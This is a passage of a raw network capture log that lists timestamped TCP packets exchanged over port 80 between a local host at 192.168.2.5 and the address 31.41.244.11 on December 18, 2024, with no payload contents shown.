Dec 18, 2024 19:08:10.953933001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.957990885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.958064079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.958122015 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.958168983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.962306976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.962353945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.962384939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.962460995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.966499090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.966556072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.966603041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.966648102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.970823050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.970871925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.970969915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.971045971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.975147963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.975256920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.975263119 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.975328922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.979418993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.979469061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.979523897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.979569912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.983716965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.983762026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.983808994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.983851910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.987977028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.988034964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.988117933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.988162994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.992290020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.992337942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.992420912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.992465973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.995860100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.995907068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.995984077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.996052027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.999377966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.999433994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:10.999480009 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:10.999524117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.002959013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.003025055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.003098965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.003159046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.006535053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.006608009 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.006668091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.006764889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.010097027 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.010160923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.010190010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.010247946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.013689995 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.013750076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.013829947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.013878107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.017211914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.017263889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.017462969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.017514944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.020720005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.020780087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.122992992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.123017073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.123121977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.123224974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.123981953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.123996973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.124039888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.126055002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.126120090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.126152992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.126184940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.129628897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.129712105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.129719973 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.129766941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.133114100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.133140087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.133164883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.133200884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.136729002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.136745930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.136776924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.136811018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.140248060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.140327930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.140382051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.140439987 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.143796921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.143861055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.143862009 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.143908024 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.147332907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.147391081 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.147485971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.147532940 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.150989056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.151047945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.151134968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.151191950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.154450893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.154516935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.154586077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.154642105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.158103943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.158173084 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.158174038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.158231974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.161653042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.161724091 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.161730051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.161794901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.165206909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.165262938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.165271997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.165312052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.168777943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.168838978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.168905020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.168961048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.172354937 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.172431946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.172532082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.172596931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.176095009 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.176170111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.176217079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.176264048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.179513931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.179533005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.179565907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.179595947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.183095932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.183114052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.183146954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.183176994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.186598063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.186650038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.186687946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.186734915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.189596891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.189652920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.189765930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.189841032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.192444086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.192504883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.192576885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.192621946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.195287943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.195344925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.195384979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.195437908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.198291063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.198367119 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.198396921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.198441982 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.201387882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.201405048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.201457024 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.201457024 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.204135895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.204216003 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.204224110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.204281092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.207084894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.207140923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.207200050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.207252026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.210057974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.210127115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.210319042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.210371017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.212979078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.213027000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.213052988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.213074923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.215971947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.216011047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.216034889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.216061115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.218837976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.218911886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.218918085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.218981028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.221661091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.221719980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.221720934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.221782923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.224602938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.224622965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.224663019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.224689960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.227477074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.227535963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.227633953 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.227678061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.230606079 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.230623960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.230667114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.230703115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.320188999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.320224047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.320272923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.320362091 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.321422100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.321491957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.321501017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.321540117 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.323843002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.323905945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.324731112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.324799061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.324822903 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.324882030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.327429056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.327452898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.327521086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.327521086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.330132008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.330192089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.330200911 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.330239058 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.332442999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.332508087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.332564116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.332629919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.334939003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.335000038 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.335086107 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.335134983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.337703943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.337768078 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.337770939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.337848902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.339971066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.340027094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.340080976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.340145111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.342729092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.342749119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.342786074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.342818022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.345097065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.345164061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.345287085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.345356941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.347868919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.347929955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.347976923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.348026991 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.350301981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.350359917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.350554943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.350615025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.352807999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.352859020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.352884054 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.352915049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.355216026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.355272055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.355392933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.355444908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.357754946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.357829094 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.357908010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.357955933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.360375881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.360439062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.360516071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.360568047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.363143921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.363203049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.363286972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.363343000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.365783930 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.365859032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.366211891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.366261959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.367964029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.368011951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.368043900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.368077993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.370585918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.370603085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.370671988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.373054028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.373126030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.373195887 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.373255014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.375221968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.375237942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.375291109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.375355005 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.377362013 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.377418041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.377425909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.377486944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.379347086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.379420996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.379455090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.379483938 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.381376028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.381447077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.381520987 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.381572008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.383714914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.383786917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.383810997 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.383866072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.385608912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.385668993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.385678053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.385750055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.390376091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.390450954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.390480042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.390532970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.390583038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.390599966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.390633106 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.390666008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.391829014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.391890049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.392030954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.392075062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.394587994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.394784927 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.394846916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.396220922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.396346092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.396406889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.398139954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:11.398200035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:11.398277044 CET	80	49720	31.41.244.11	192.168.2.5
